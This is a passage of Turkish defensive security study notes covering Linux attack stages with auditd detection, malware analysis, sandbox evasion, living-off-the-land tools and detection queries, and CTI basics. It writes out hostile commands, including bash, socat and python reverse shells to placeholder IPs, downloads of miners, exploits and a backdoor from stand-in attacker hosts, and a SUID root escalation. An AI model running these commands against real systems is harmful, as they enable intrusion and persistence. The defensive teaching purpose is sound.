Keşif Aktivitelerinin Tespiti: Bu komutları tespit etmek, `auditd` veya diğer çalışma zamanı izleme araçlarıyla basittir. Zorluk, bu komutların bir saldırgan tarafından mı, meşru bir hizmet tarafından mı, yoksa bir sistem yöneticisi tarafından mı çalıştırıldığına karar vermektir. `auditd` ile toplanan veriler bir SIEM'e gönderilerek veya `ausearch` kullanılarak avlanabilir.

Araç Transferi (Ingress Tool Transfer)

Saldırganlar, kripto madencileri veya diğer kötü amaçlı yazılımları kurban sisteme indirmek için genellikle sistemde önceden kurulu olan komutları kullanır.

Komut	Kullanım Örneği
Wget	<code>wget https://github.com/[...]/xmrig-x64.tar.gz -O /tmp/miner.tar.gz</code>
Curl	<code>curl --output /var/www/html/backdoor.php "https://pastebin.thm/[...]"</code>
SSH	<code>scp kali@c2server:/home/kali/exploit.sh /tmp/exploit.sh</code>

Bu komutlar `auditd` ile izlenebilir ve bazen Bash geçmişinde görünebilir. Ancak, bir saldırgan `scp` veya `sftp`'yi kendi sisteminden kurban sisteme dosya göndermek için çalıştırırsa, bu komut kurbanın `auditd` günlüklerinde görünmez. Bunun yerine, yeni bir SSH giriş olayı kaydedilir.

Ters Kabuk (Reverse Shells)

Saldırganlar, kurban sistemden kendi sistemlerine doğru bir bağlantı başlatarak daha rahat bir çalışma ortamı elde ederler. Bu, özellikle güvenlik duvarlarının dışarıdan gelen bağlantıları engellediği durumlarda tek olası seçenektir.

Kurban Üzerindeki Komut	Açıklama
<code>bash -i >& /dev/tcp/10.10.10.10/1337 0>&1</code>	Kurban, 10.10.10.10:1337 adresine bağlanarak saldırgan için bir "bash" kabuğu başlatır.
<code>socat TCP:10.20.20.20:2525 EXEC:'bash',pty...</code>	Yukarıdaki komutun <code>socat</code> alternatifi.
<code>python3 -c '[...] s.connect(("10.30.30.30",80));pty.spawn("bash")'</code>	Yukarıdaki komutun <code>Python</code> alternatifi.

Ayrıcalık Yükseltme (Privilege Escalation)

İlk erişim her zaman tam sistem kontrolü (root) anlamına gelmez. Saldırganlar genellikle düşük ayrıcalıklı bir hizmet kullanıcısı olarak başlarlar ve root erişimi elde etmek için ayrıcalıklarını yükseltmek zorundadırlar.

Önceki Keşif (EĞER)	Ayrıcalık Yükseltme (O ZAMAN)
<code>uname -a</code> komutu eski ve yamalanmamış bir Ubuntu 16.04 gösteriyor.	PwnKit gibi bir exploit çalıştırılır: <code>wget http://bad.thm/pwnkit.sh bash</code>
<code>find /bin -perm 4000</code> komutu, SUID bayrağına sahip bir <code>env</code> ikili dosyası tespit ediyor.	SUID zafiyeti kullanılarak root erişimi elde edilir: <code>/bin/env /bin/bash -p</code>
<code>ls /etc/ssh</code> komutu korunmasız bir <code>ssh-backup-key</code> dosyası ortaya çıkarıyor.	Dosya, root olarak giriş yapmak için denenir: <code>ssh root@127.0.0.1 -i ssh-backup-key</code>

Ayrıcalık yükseltme yöntemlerinin çeşitliliği (yüzlerce SUID yanlış yapılandırması, binlerce yazılım zafiyeti) nedeniyle tespiti zordur. Daha evrensel bir yaklaşım, keşif ve ayrıcalık yükseltme eylemi gibi çevresindeki olayları izlemektir.

4. Kalıcılık (Persistence) Teknikleri ve Tespiti

Linux sunucuları genellikle yeniden başlatılmadan yıllarca çalışabilir. Bu nedenle, bazı saldırganlar kalıcılık sağlamak için acele etmese de, uzun vadeli erişim hedefleyenler genellikle bir veya iki arka kapı kurar.

İşletim Sistemi Seviyesinde Kalıcılık

Cron Job'ları: Windows'taki zamanlanmış görevlere benzer şekilde, Cron job'ları bir işlemi belirli bir zamanda çalıştırmanın en basit yoludur ve en popüler kalıcılık yöntemidir.

- **APT29**, GoldMax adlı kötü amaçlı yazılımının yeniden başlatmalardan sonra çalışmasını sağlamak için kurbanın cron dosyasına (`/var/spool/cron/<user>`) yeni bir satır eklemiştir.
- **Rocke** kripto madencisi, `/etc/cron.d/root` konumuna bir cron işi ekleyerek betiğini her 10 dakikada bir yeniden indirir ve BT ekibi tarafından silinmesi durumunda kendini onarır.

Systemd Servisleri: DNS ve SSH gibi en kritik sistem bileşenleri Systemd servisleri olarak çalışır. `root` ayrıcalıklarıyla saldırganlar, `/etc/systemd/system` klasörüne kendi `.service` dosyalarını oluşturarak kötü amaçlı yazılımlarının sistem başlangıcında çalışmasını sağlayabilirler. Örneğin, **Sandworm** grubu GOGETTER adlı yazılımını "cloud-online" adında bir servis olarak kurmuştur.

Hesap Seviyesinde Kalıcılık

Saldırganlar, sisteme kötü amaçlı yazılım bırakmadan kalıcı erişim sağlamak isteyebilirler.

Yeni Kullanıcı Hesabı: Eğer SSH açıksa, saldırganlar yeni bir kullanıcı hesabı oluşturabilir, bu hesabı `sudo` gibi ayrıcalıklı bir gruba ekleyebilir ve gelecekteki girişler için bu hesabı kullanabilirler. Bu eylem, `useradd` ve `usermod` komutları için `/var/log/auth.log` günlükleri izlenerek ve ardından `auditd` ile süreç ağacı yeniden oluşturularak tespit edilebilir.

SSH Anahtarlarını Arka Kapı Olarak Kullanma: Diğer bir yöntem, mevcut bir kullanıcının `~/.ssh/authorized_keys` dosyasına kendi genel anahtarlarını eklemektir. Bu, kötü amaçlı anahtarın meşru anahtarlar arasında fark edilmesini zorlaştırdığı için tespiti güç bir tekniktir.

- **Tespit:** Bu tekniği tespit etmenin en iyi yolu, proses oluşturma olaylarına güvenmek yerine, `auditd` kullanarak bu `authorized_keys` dosyalarındaki değişiklikleri doğrudan izlemektir. Çünkü `echo [key] >> ~/.ssh/authorized_keys` gibi kabuk yerleşik (shell builtin) komutları, `auditd` tarafından `echo` olarak değil, yalnızca `bash` olarak günlüğe kaydedilir ve komutun kendisi görünmez.

Uygulama Seviyesinde Kalıcılık

Saldırganlar, yönetici erişimi elde ettikleri bir web uygulamasında (örneğin WordPress) kalıcılık sağlayabilirler. Uygulama katmanına bir web kabuğu (web shell) gibi bir arka kapı ekleyerek, işletim sistemi seviyesindeki günlüklenme araçlarının (`auditd` gibi) görmediği bir yoldan komut çalıştırabilirler. Eğer diğer tüm kalıcılık mekanizmaları kontrol edildikten sonra bile kötü amaçlı yazılım bir şekilde yeniden ortaya çıkıyorsa, halka açık uygulamalardan birinin ele geçirilmiş olabileceğinden şüphelenilmelidir.

Kötü Amaçlı Yazılım Analizi ve Tespiti Üzerine Brifing Notu

Yönetici Özeti

Bu brifing, kötü amaçlı yazılım analizinin temel ilkelerini, saldırganlar tarafından kullanılan yaygın kaçınma tekniklerini ve modern siber saldırılarda kullanılan yerleşik sistem araçlarını (Living-Off-the-Land) özetlemektedir. Temel çıkarımlar şunlardır: Kötü amaçlı yazılım analizi, bir yazılımın amacını ve işlevselliğini anlamak için statik (çalıştırmadan) ve dinamik (kontrollü bir ortamda çalıştırarak) olmak üzere iki ana kategoriye ayrılır. Analistler, bu süreçte kazara bulaşmayı önlemek için yalıtılmış sanal makineler kullanmak ve örnekleri parola korumalı arşivlerde tutmak gibi katı güvenlik önlemlerine uymalıdır. Saldırganlar, paketleme, gizleme ve sanal makine veya kullanıcı etkinliğini tespit etmeye yönelik sandbox'tan kaçınma gibi analiz karşıtı teknikler kullanarak tespit edilmekten kaçınmaya çalışırlar. Ek olarak, "Living-Off-the-Land" (LOL) saldırıları giderek daha yaygın hale gelmektedir. Bu saldırılarda, PowerShell, WMIC ve Certutil gibi meşru ve güvenilir sistem araçları, kötü amaçlı eylemleri gerçekleştirmek için kullanılır. Bu yaklaşım, saldırganların geleneksel güvenlik kontrollerini atlamasına ve normal yönetim faaliyetleri arasında gizlenmesine olanak tanır. Etkili savunma, katmanlı güvenlik kontrolleri, uygulama denetimi, en az ayrıcalık ilkesi ve şüpheli komut satırı etkinliklerinin proaktif olarak izlenmesini gerektirir. Son olarak, kötü amaçlı yazılımların Reklam Yazılımı (Adware), Fidyeye Yazılımı (Ransomware) ve Veri Hırsız (Data Stealer) gibi farklı kategorilere ayrılması, tehditleri hızlı bir şekilde tanımlama ve müdahale etme yeteneğini geliştirir.

1. Kötü Amaçlı Yazılım Analizinin Temelleri

Kötü amaçlı yazılım (malware) terimi, **MAL**icious soft **WARE** (kötü niyetli yazılım) kelimelerinden türetilmiştir. Kötü amaçlı yazılım analizi, bir yazılımın ne yapmaya çalıştığını anlamak için bir bulmacayı çözmeye benzer. Bu süreçte analistler, bir PE (Portable Executable) dosyası, kötü amaçlı bir belge veya bir ağ paket yakalaması (pcap) gibi farklı unsurları inceler.

Güvenlik Önlemleri

Kötü amaçlı yazılımlar dikkatsizce ele alındığında bir silah kadar tehlikeli olabilir. Analize başlamadan önce aşağıdaki güvenlik önlemlerine her zaman uyulmalıdır:

- Asla tek amacı kötü amaçlı yazılım analizi olmayan bir makinede analiz yapmayın.
- Kötü amaçlı yazılım örnekleri analiz edilmediğinde veya taşınmadığında, kazara çalıştırılmalarını önlemek için daima parola korumalı zip/rar gibi arşivlerde saklayın.
- Kötü amaçlı yazılımı bu parola korumalı arşivden yalnızca yalıtılmış ortamın içinde ve sadece analiz sırasında çıkarın.
- Kötü amaçlı yazılım analizi için özel olarak, işiniz bittiğinde temiz bir duruma geri döndürülebilen yalıtılmış bir sanal makine (VM) oluşturun.
- Tüm internet bağlantılarının kapalı olduğundan veya en azından izlendiğinden emin olun.
- Analiz bittikten sonra, bir önceki çalıştırmadan kalan artıkların bir sonraki analizi bozmamasını sağlamak için sanal makineyi temiz durumuna geri döndürün.

Temel Analiz Yöntemleri

Kötü amaçlı yazılım analizi için kullanılan teknikler genel olarak iki ana kategoriye ayrılır: Statik Analiz ve Dinamik Analiz.

Statik Analiz

Kötü amaçlı bir yazılımın **çalıştırılmadan** incelenmesine Statik Analiz denir. Bu yaklaşımda, PE dosyasının veya kötü amaçlı bir belgenin özellikleri, çalıştırılmadan analiz edilir. Statik analiz örnekleri şunlardır:

- Yazılım içindeki metin dizelerini (strings) kontrol etmek.
- Farklı bölümlerle ilgili bilgi için PE başlığını incelemek.
- Kodu bir ayrıştırıcı (disassembler) kullanarak incelemek. Ancak, saldırganlar genellikle kodlarını gizlemek (obfuscation) veya paketlemek (packing) gibi teknikler kullanarak statik analizi zorlaştırırlar. Bu durumlarda dinamik analiz devreye girer.

Dinamik Analiz

Kötü amaçlı yazılımlar, amaçlarını gerçekleştirmek için çalışmak zorundadır ve bu durum, ne kadar gizleme tekniği kullanılırsa kullanılsın, çalıştıkları anda onları tespit için bir hedef haline getirir. Dinamik analiz, kötü amaçlı yazılımın kontrollü bir ortamda çalıştırılarak davranışlarının gözlemlenmesini içerir. Bu yöntem, statik analizin yetersiz kaldığı durumlarda oldukça etkilidir.

- **Uygulama:** Kötü amaçlı yazılım, manuel olarak veya otomatik sandbox'lar aracılığıyla, aktivitesini izlemek için kurulmuş araçlarla donatılmış bir sanal makinede çalıştırılır.
- **Avantajı:** Ortam kontrol altında olduğundan, meşru kullanıcı veya Windows servislerinden kaynaklanan gürültü en aza indirilir. Bu sayede gözlemlenen her aktivite, doğrudan kötü amaçlı yazılımın eylemlerine işaret eder.
- **Zorluğu:** Kötü amaçlı yazılımlar, genellikle **çalıştıkları ortamı tespit ederek** dinamik analizi atlatmaya çalışır. Kontrollü bir ortamda çalıştığını anlarsa, zararsız bir kod yolunu takip ederek gerçek amacını gizleyebilir.

İleri Düzey Kötü Amaçlı Yazılım Analizi

Temel statik ve dinamik analizden kaçan kötü amaçlı yazılımlar için ileri düzey teknikler kullanılır. Bu teknikler, ayrıştırıcılar (disassemblers) ve hata ayıklayıcılar (debuggers) gibi araçları içerir. Ayrıştırıcılar, yazılımın ikili kodunu assembly diline çevirerek analistin talimatları statik olarak incelemesine olanak tanır. Hata ayıklayıcılar ise çalışan bir programa bağlanarak analistin talimatları izlemesine, programı belirli noktalarda durdurup çalıştırmasına ve sistemin bellek ve CPU durumunu gözlemlemesine olanak tanır.

Statik Analiz Teknikleri

Dosya Türünü İnceleme Saldırganlar, kullanıcıları yanıltmak için aldatıcı dosya uzantıları kullanabilir. Dosyanın gerçek türünü belirlemek için Linux'taki file komutu gibi araçlar kullanılabilir. **Dizeleri (Strings) İnceleme** Bir dosyadaki okunabilir metin dizelerini listelemek için kullanılan strings komutu, dosyanın işlevselliği hakkında önemli ipuçları (IP adresleri, URL'ler, dosya adları vb.) sağlayabilir. **Karma Değerlerini (Hashes) Hesaplama** Dosya karması (hash), bir dosyayı benzersiz bir şekilde tanımlayan sabit boyutlu bir değerdir. Bu, kötü amaçlı yazılımlar için bir kimlik belirteci olarak kullanılır ve analistler arasında bilgi paylaşımı veya çevrimiçi araştırma için kritik öneme sahiptir. Yaygın olarak md5sum,

sha1sum ve sha256sum kullanılır. Bir dosyadaki tek bir bit değışikliğı bile karma değerini tamamen değıştirecektir.**PE (Portable Executable) Başlığı** PE başlığı, bir yürütülebilir dosya hakkında zengin meta veriler içerir. Analiz için hayati bilgiler sunar.

- **Imports/Exports:** PE dosyaları, işletim sisteminin sağladığı mevcut kodları yeniden kullanır. "Import"lar, PE dosyasının dışarıdan aldığı fonksiyonlardır ve dosyanın ne yapacağına dair önemli ipuçları verir. Örneğin, InternetOpen fonksiyonunu import eden bir dosyanın internet ile iletişim kuracağı, URLDownloadToFile fonksiyonunu import edenin ise internetten bir dosya indireceğı anlaşılr. "Export"lar ise genellikle DLL dosyalarıyla ilişkilidir ve diğer ikili dosyaların kullanabilmesi için dışarıya açılan fonksiyonlardır.
- **Bölümler (Sections):** Bir PE dosyası farklı amaçlara hizmet eden bölümlere ayrılmıştır. En yaygın bölümler şunlardır:
- **.text:** Genellikle PE dosyası çalıştığında yürütülen CPU talimatlarını içerir. Yürütülebilir olarak işaretlenmiştir.
- **.data:** Global değışkenleri ve diğer global verileri içerir.
- **.rsrc:** Resimler, ikonlar gibi PE dosyasının kullandığı kaynakları içerir.

2. Analiz Karşıtı Teknikler

Saldırganlar, analistlerin işini zorlaştırmak için çeşitli teknikler kullanır.

Paketleme ve Gizleme (Packing and Obfuscation)

Paketleyiciler (packers), kötü amaçlı yazılımın içeriğini gizler, sıkıştırır veya şifreler. Bu teknikler, özellikle strings komutu gibi statik analiz araçlarının önemli bilgileri bulmasını zorlaştırır.

Sandbox'tan Kaçınma (Sandbox Evasion)

Kötü amaçlı yazılımlar, otomatik analiz sistemlerinden (sandbox) kaçmak için geliştirilmiş teknikler içerir:

- **Uzun Uyku Çağrılar (Long sleep calls):** Sandbox'ların sınırlı bir süre çalıştığını bilen saldırganlar, yazılımın uzun bir süre hiçbir aktivite göstermemesini programlar. Bu, sandbox'ın zaman aşımına uğramasını hedefler.
- **Kullanıcı Etkinliği Tespiti:** Bazı yazılımlar, kötü amaçlı faaliyetlerini gerçekleştirmeden önce fare hareketi veya klavye girişı gibi kullanıcı etkinliklerini bekler. Bu, bir sandbox'ta insan kullanıcının olmayacağı varsayımına dayanır.
- **Kullanıcı Etkinliği Ayak İzleri:** Kötü amaçlı yazılım, MS Office geçmişı veya internet tarama geçmişı gibi kullanıcı dosyalarını kontrol eder. Eğer çok az veya hiç etkinlik bulamazsa, makineyi bir sandbox olarak kabul edip çalışmayı durdurur.
- **Sanal Makine Tespiti:** Sandbox'lar sanal makinelerde çalışır. VMWare veya Virtualbox gibi platformlarda çalışan sanal makineler, kötü amaçlı yazılımlar tarafından tespit edilebilecek belirli sürücüler gibi izler bırakır. Sanal makine tespit edildiğinde yazılım sonlandırılır.

3. "Living Off the Land" (LOL) Saldırıları

Saldırganlar her zaman özel kötü amaçlı yazılımlara güvenmezler. Bunun yerine, hedef makinede zaten mevcut olan güvenilir sistem araçlarını kullanabilirler. Bu teknik, yerleşik araçların zaten güvenilir olması, yaygın olarak bulunması ve varsayılan kontroller tarafından

genellikle izin verilmesi nedeniyle tercih edilir. Bu sayede kötü amaçlı faaliyetler normal operasyonlar arasında gizlenebilir.

Yaygın Olarak Kötüye Kullanılan Araçlar ve Teknikler

Araç,Kötüye Kullanım Amacı

PowerShell,"Bellek içi betik çalıştırma, uzaktan dosya indirme ve otomasyon."

WMIC / WMI,Komutları yerel veya uzak ana bilgisayarlarda çalıştırma ve sistem durumunu sorgulama.

Certutil,Dosyaları indirme ve base64 ile kodlanmış yükleri çözme.

Mshta,HTA içeriğini veya bir belge/bağlantı tarafından sunulan satır içi betiği çalıştırma.

Rundll32,DLL export'larını çağırma veya URL işleyicilerini tetikleme.

Zamanlanmış Görevler (schtasks),Kalıcılık için oturum açılışında veya belirli bir zamanlamayla kod çalıştırma.

Bu yöntemler yalnızca Windows ile sınırlı değildir; Windows için **LOLBAS** ve Unix/Linux için **GTFOBins** gibi kamuya açık koleksiyonlar, her iki platform için de yaygın kalıpları belgelemektedir.

Savunma ve Azaltma Stratejileri

- Uç nokta, ağ ve kimlik korumalarını birleştiren katmanlı savunma kontrolleri uygulayın.
- Hangi betiklerin ve yürütülebilir dosyaların çalıştırılmasına izin verildiğini tanımlamak için AppLocker gibi uygulama kontrol politikaları uygulayın.
- Yalnızca yöneticilerin sistem yönetim araçlarına erişebilmesini sağlayarak en az ayrıcalık ilkesini uygulayın.
- Kötü amaçlı faaliyetlerle bilinen alan adlarına ve IP'lere bağlantıları engellemek için ağ kuralları ve DNS filtreleri yapılandırın.
- Risk altındaki sistemleri izole etme ve açığa çıkan kimlik bilgilerini iptal etme adımlarını özetleyen net müdahale planları oluşturun.

Araç Bazında Ayrıntılı Analiz

PowerShell

- **Açıklama:** Windows sistemlerinde yönetim ve otomasyon için kullanılan bir betik motorudur.
- **Saldırgan Kullanımı:** Betikleri doğrudan bellekte çalıştırabildiği, diskte iz bırakmadığı ve bazı yürütme politikalarını atlayabildiği için saldırganlar tarafından tercih edilir. Yükleri indirmek, bilgi toplamak ve sistem ayarlarını gizlice değiştirmek için kullanılır.
- **LOL Örnekleri:** IEX (DownloadString) deseni, uzaktaki bir betiği alıp doğrudan bellekte çalıştırır. -EncodedCommand bayrağı ise yükü base64 formatında gizleyerek basit log filtrelerini atlatır.
- **Tespit Örneği:** (CommandLine="powershell/IEX*" OR CommandLine="powershell-EncodedCommand*" OR CommandLine="Invoke-WebRequest")

WMIC

- **Açıklama:** Yöneticilerin yerel veya uzak Windows sistemlerini yönetmesine olanak tanıyan bir komut satırı aracıdır.
- **Saldırgan Kullanımı:** Harici ikili dosyalar kullanmadan uzaktan komut çalıştırmak, sistem bilgisi toplamak veya kalıcılık sağlamak için kullanılır. Yönetici davranışıyla uyumlu olduğu için fark edilmesi zordur.
- **LOL Örnekleri:** Uzak bir ana bilgisayarda yeni bir işlem (örneğin, PowerShell) başlatmak veya çalışan işlemler hakkında bilgi toplamak için kullanılır.
- **Tespit Örneği:** (CommandLine="\\wmic.exe process call create*" OR CommandLine="wmic /node: process call create*")

Certutil

- **Açıklama:** Sertifikaları yönetmek ve verileri kodlamak/kod çözmek için kullanılan bir Microsoft aracıdır.
- **Saldırgan Kullanımı:** Microsoft tarafından imzalı olduğu için güvenilirdir. -urlcache bayrağı ile dosya indirmek ve base64 ile kodlanmış yükleri çözerek metin dosyalarını ikili dosyalara dönüştürmek için kötüye kullanılır.
- **LOL Örnekleri:** -urlcache -split -f bayrakları ile uzaktaki bir dosyayı diske indirir. -decode ile base64 metnini yürütülebilir bir dosyaya dönüştürür.
- **Tespit Örneği:** (Image="\\certutil.exe" AND (CommandLine=" -urlcache * -f " OR CommandLine=" -decode *"))

MSHTA

- **Açıklama:** VBScript veya JavaScript kodu içerebilen HTML Uygulama (HTA) dosyalarını çalıştırır.
- **Saldırgan Kullanımı:** Uzak bir sunucudan HTA içeriğini yükleyip çalıştırarak veya satır içi JavaScript URI'leri kullanarak doğrudan sistem komutlarını tetikler.
- **LOL Örnekleri:** Uzak bir URL'den HTA dosyası çalıştırma veya javascript: protokolünü kullanarak WScript.Shell nesnesi oluşturup PowerShell'i tetikleme.
- **Tespit Örneği:** Image="\\mshta.exe" (CommandLine="http://" OR CommandLine="javascript:" OR CommandLine="*.hta")

Rundll32

- **Açıklama:** DLL dosyalarından belirli export edilmiş fonksiyonları yürütür.
- **Saldırgan Kullanımı:** Saldırganlar, özel olarak hazırlanmış DLL'lerin fonksiyonlarını çağırarak kodlarını çalıştırır. url.dll'in FileProtocolHandler fonksiyonu uzaktan içerik işlemek için kullanılabilir.
- **Tespit Örneği:** Image="\\rundll32.exe" (CommandLine="url.dll,FileProtocolHandler" OR CommandLine="\\Users\\Public\\" OR CommandLine="\\Windows\\Temp*")

Zamanlanmış Görevler (schtasks)

- **Açıklama:** Programların veya betiklerin belirli zamanlarda veya olaylara bağlı olarak çalışmasını sağlayan yerleşik bir Windows otomasyon aracıdır.
- **Saldırgan Kullanımı:** Yeniden başlatmalarda kalıcılık sağlamak, oturum açılışında kod çalıştırmak veya yükleri yeniden başlatmak için kullanılır. Saldırganlar genellikle WindowsUpdate gibi zararsız görünen görev adları seçerler.

- **LOL Örnekleri:** Oturum açılışında PowerShell ile uzaktan bir betik indiren bir görev oluşturma veya belirli bir görevi anında çalıştırmak için /Run komutunu kullanma.
- **Tespit Örneği:** (EventCode=4698 OR CommandLine="schtasks /Create*" OR CommandLine="schtasks /Run*")

4. Kötü Amaçlı Yazılım Sınıflandırması

Kötü amaçlı yazılım türlerini ve davranışlarını bilmek, analistlerin tehditleri hızla tespit etmesine yardımcı olur.

Kötü Amaçlı Yazılım Kategorileri

Kategori, Ana Amaç, Tipik Davranış, Gerçek Dünya Örneği

Reklam Yazılımı (Adware), İstenmeyen reklamlar gösterme, İstenmeyen reklamlar gösterir, Fireball

Casus Yazılım (Spyware), Gizlice bilgi toplama, "Tarama geçmişini izler, tuş vuruşlarını kaydeder, verileri yakalar", Hermit

Fidye Yazılımı (Ransomware), Dosyaları veya sistemleri kilitleyerek para sızdırma, "Verileri şifreler, fidye notu gösterir", WannaCry

Silici (Wiper), Verileri veya sistemleri yok etme, Dosyaların üzerine yazar veya kalıcı olarak siler, PathWiper

C2 (Komuta & Kontrol), Saldırgan tarafından uzaktan kontrol sağlama, "Uzak sunucuya bağlanır, komutlar alır", Emotet

Veri Hırsızı (Data stealer), Hassas bilgileri çalma, "Dosyaları, kimlik bilgilerini veya belgeleri sızdırır", Lumma Stealer

Tuş Kaydedici (Keylogger), Kullanıcı tuş vuruşlarını kaydetme, Klavyede yazılan her şeyi yakalar, Zeus

Kripto Madenci (Cryptominer), Kripto para madenciliği için kaynakları kullanma, "Yüksek CPU kullanımı, sistemleri yavaşlatma, ağ trafiği", Coinhive

Dağıtım Formları

İkili (Binary) Kötü Amaçlı Yazılımlar

Bu tür yazılımlar .exe (Windows Executable) veya .dll (Dynamic Link Library) gibi derlenmiş dosyalar olarak dağıtılır. E-posta ekleri (fatura.pdf.exe gibi), kötü amaçlı indirmeler veya çıkarılabilir medya aracılığıyla yayılırlar. Derlendikten sonra değişmedikleri için, md5sum gibi bir sağlama toplamı (checksum) ile ad veya uzantı değişikliğinden bağımsız olarak tanımlanabilirler.

Betik Tabanlı (Script-based) Kötü Amaçlı Yazılımlar

JavaScript (.js), VBScript (.vbs), Windows batch (.bat) veya PowerShell (.ps1) gibi dillerde yazılmış betiklere dayanır. Saldırganlar için değiştirilmesi ve uyarlanması daha kolaydır. Genellikle e-posta ekleri, makro içeren Office belgeleri veya kötü amaçlı web siteleri aracılığıyla gelirler. İlk erişim için popülerdirler çünkü diske dosya yazmadan kodu doğrudan bellekte çalıştırabilirler. **Kötü Amaçlı Betiklerin Uyarı İşaretleri:**

- İnternette başka dosyalar indirmesi veya çalıştırması.
- Sistem ayarlarında değişiklik yapması veya güvenlik araçlarını devre dışı bırakması.
- Özellikle kodlanmış veya gizlenmiş içerikle, standart operasyonların parçası olmayan komutları çalıştırması.

- Beklenmedik bir şekilde PowerShell veya CMD gibi başka uygulamaları başlatması. **Örnekler:**
- **Batch (.bat) Betiği:**
- Bu betik, kötü amaçlı bir yürütülebilir dosyayı indirir ve kurbanın makinesinde çalıştırır.
- **PowerShell Betiği:**
- Bu komut, uzaktaki bir sunucudan bir betik çalıştırır ve genellikle arkasında dosya bırakmaz.

Siber Tehdit İstihbaratı Brifingi

Yönetici Özeti

Siber Tehdit İstihbaratı (CTI), modern Güvenlik Operasyonları Merkezleri (SOC) için vazgeçilmez bir unsurdur; ham verileri ve uyarıları, bir kuruluşun tehditlere karşı proaktif olarak savunma yapmasını sağlayan, bağlamsal ve eyleme geçirilebilir içgörülere dönüştürür. Bu süreç, tehdit aktörlerini, onların taktiklerini, tekniklerini ve prosedürlerini (TTP'ler) ve potansiyel hedeflerini anlamaya odaklanır. Etkili bir CTI programı, altı aşamalı bir yaşam döngüsünü takip eder: Yönlendirme, Toplama, İşleme, Analiz, Yayma ve Geri Bildirim. Bu döngü, istihbaratın kuruluşun özel riskleri ve savunma yetenekleriyle uyumlu olmasını sağlar. Temel analiz, iki ana gösterge türü etrafında yoğunlaşır: ağ tabanlı (IP adresleri ve alan adları) ve dosya tabanlı (dosya yolları ve hash'ler). Ağ göstergelerinin zenginleştirilmesi, DNS kayıt analizi, RDAP aracılığıyla sahiplik tespiti, Otonom Sistem Numarası (ASN) bağlamı, TLS sertifika incelemesi ve itibar servisleri (VirusTotal gibi) ile pasif DNS geçmişi gibi teknikleri içerir. Dosya göstergelerinin analizi ise, saldırgan davranışlarını ortaya çıkaran dosya yolları ve adlandırma sezgileri gibi statik özellikleri ve sanal alan (sandbox) ortamlarında yürütme yoluyla davranışsal etkileri ortaya çıkaran dinamik analizleri kapsar. MITRE ATT&CK, D3FEND ve Siber Ölüm Zinciri (Cyber Kill Chain) gibi çerçeveler, tehditleri ve savunma stratejilerini sınıflandırmak için ortak bir dil ve yapı sunar. Bu araçlar, analistlerin gözlemlenen davranışları standartlaştırılmış taktiklerle eşleştirmesine, olay müdahalesini hızlandırmasına ve savunma kontrollerini güçlendirmesine olanak tanır. Sonuç olarak, CTI, SOC'lerin reaktif uyarı yönetiminden, tehditleri önceden tahmin edip etkisiz hale getiren stratejik bir savunma duruşuna geçmesini sağlar.

Bölüm 1: Siber Tehdit İstihbaratının (CTI) Temelleri

Siber Tehdit İstihbaratı, bir SOC analistinin yüzlerce uyarı arasından hangisinin gerçek bir tehlikeyi temsil ettiğine karar vermesine yardımcı olan bağlamı sağlar. Güvenilir bağlamla, SOC enerjisini doğru konulara harcar. CTI, üç temel soruyu yanıtlamayı amaçlar:

1. Bu uyarı göstergesinin diğer ucunda kim veya ne var?
2. Geçmişteki davranışları neydi?
3. Kuruluşum nasıl yanıt veriyor ve şu anda ne yapmalıyım? Bu soruların erken aşamada, tercihen dakikalar içinde yanıtlanması, olay müdahale (IR) ekibi için değerli zaman kazandırır.

Veriden İstihbarata

Güvenlik literatürü **veri**, **bilgi** ve **istihbaratı** ayırt eder. Bu terimlerin netleştirilmesi, bir analistin hedefini belirginleştirir. Seviye 1 analisti, eserleri (artefacts) kullanılabilir hale getirmekten ve onları istihbarat niteliği kazanana kadar zenginleştirmekten sorumludur. Bu zenginleştirme süreci; köken, davranış ve alaka düzeyi hakkında ışık tutan halka açık, ticari ve dahili kaynakların hızlı ve metodik olarak incelenmesiyle gerçekleştirilir. | Katman | Tanım | Uyarı Kuyruğu Örneği | SOC L1 Eylemi || ----- | ----- | ----- || **Veri** | İşlenmemiş bir gözlemlenebilir | 45.155.205.3 :443 | Eseri yakala. || **Bilgi** | Veri artı olgusal ek açıklama | *IP, Hetzner'e kayıtlı, ilk görülme 2023-07-14* | Nitelikleri kaydet. || **İstihbarat** | "*Peki ne olmuş?*" sorusunu yanıtlayan analiz edilmiş bilgi | *IP mevcut BumbleBee C2'ye ait; derhal engelle* | Yükselt veya bastır. |

Bu süreçte analistler için üç temel etiket öne çıkar:

- **Saldırı Göstergesi (Indicator of Compromise - IOC):** Bir ihlalin kanıtı, örneğin loglarda bir Komuta ve Kontrol (C2) adresi.
- **Saldırı Belirtisi (Indicator of Attack - IOA):** Devam etmekte olan kötü niyetli bir eylem, örneğin PowerShell'in bilinmeyen bir hizmet başlatması.
- **Taktikler, Teknikler ve Prosedürler (TTP):** Bir düşmanın MITRE ATT&CK kimlikleri ve açıklamalarıyla ifade edilen ayrıntılı metodolojileri.

İstihbarat Sınıflandırmaları

Tehdit istihbaratı, operasyonel ortam ile düşman arasındaki ilişkiyi anlamaya yöneliktir ve dört ana sınıfa ayrılır:

- **Stratejik İstihbarat:** Kuruluşun tehdit ortamına üst düzeyden bakar ve iş kararlarını etkileyebilecek eğilimlere, kalıplara ve ortaya çıkan tehditlere dayalı risk alanlarını haritalandırır.
- **Taktiksel İstihbarat:** Düşmanların TTP'lerinin analizi yoluyla davranışlarının değerlendirilmesidir. Örneğin, kötü amaçlı spam'lerde yeni T1059.005 (Visual Basic) kötüye kullanımını detaylandıran danışma notları.
- **Operasyonel İstihbarat:** Bir saldırıyı gerçekleştirme motivasyonları ve niyetleri hakkında kampanyaya özgü ayrıntılardır.
- **Teknik İstihbarat:** Bir saldırıyla ilişkili IP'ler ve hash'ler gibi atomik göstergeler ve eserlerdir. L1 analistleri çoğunlukla Teknik IOC'leri yükseltir, Taktiksel IOA'ları gözlemler ve belgeler.

Temel Gösterge Türleri

